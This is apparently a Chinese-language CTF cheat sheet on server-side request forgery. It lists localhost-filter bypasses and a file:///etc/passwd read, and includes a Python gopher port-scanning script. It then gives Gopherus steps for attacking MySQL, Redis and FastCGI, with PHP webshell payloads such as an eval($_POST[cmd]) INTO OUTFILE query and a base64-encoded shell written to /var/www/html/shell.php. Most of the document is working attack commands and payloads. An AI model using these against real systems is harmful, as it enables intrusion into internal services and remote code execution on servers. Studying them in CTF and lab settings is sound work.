写在开头可能用到的提示
- SSRF入口也可以尝试读文件,例如file:///etc/passwd
- 127.0.0.1/localhost可以用127.1 | 127.0.1 来表示,做题的还可能可以用http://0 来访问本地
- 如果过滤ip,可以尝试使用进制转换来绕过,例如: 127(10) -> 0177(8) -> 0x7f(16)
127.0.0.1的各种进制
- 2130706433 10进制 http://2130706433
- 017700000001 8进制 http://017700000001
- 7F000001 16进制 http://0x7F000001 - 特殊符号字母在linux下也能表示数字和字母,例如ping ①②⑦.①,表示的是ping本地
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ - http://ctf.@127.0.0.1/flag.php#.show 这里表示的还是解析127.0.0.1/flag.php
工具
Gopherus(打本机端口)
GITHUB: https://github.com/tarunkant/Gopherus
git clone下载命令: git clone https://github.com/tarunkant/Gopherus.git
运行环境: python2
原理
如果本机开启了80 3306 6379等端口,如果存在SSRF,那么可以本机访问gopher://127.0.0.1:3306,如果存在端口,访问会延迟一下
扫端口脚本
import requests
url= "http://aa54a271-a145-4207-b6f6-ed9af4a8d0f0.challenges.ctfer.com:8080/"
ports = [80,9000,8088]
address=['10.0.1.188']
for adr in address:
for p in ports:
data={
"url":f"gopher://{adr}:{p}/"
}
try:
response = requests.post(url=url,data=data,timeout=2)
except Exception as e:
print(data)
3306端口攻击
- 进入目录,不知道参数可以python gopherus.py -h
- python gopherus.py --exploit mysql
-
输入数据库的用户名(root)和payload,payload可以用
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php';
- 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
6379端口 redis
- 进入目录,不知道参数可以python gopherus.py -h
- python gopherus.py --exploit redis
- 输入PHPShell,然后输入网站默认目录,然后输入一句话木马,最后会生成shell.php在网站根目录
- 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
9000端口 Fastcgi
- 进入目录,不知道参数可以python gopherus.py -h
- python gopherus.py --exploit fastcgi
- 输入已经存在的文件,例如/var/www/html/index.php
-
然后输入要执行的系统命令,这里是写马,路径是写到/var/www/html/shell.php,POST传参cmd
echo PD89ZXZhbCgkX1BPU1RbY21kXSk7Pz4= |base64 -d > /var/www/html/shell.php
- 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)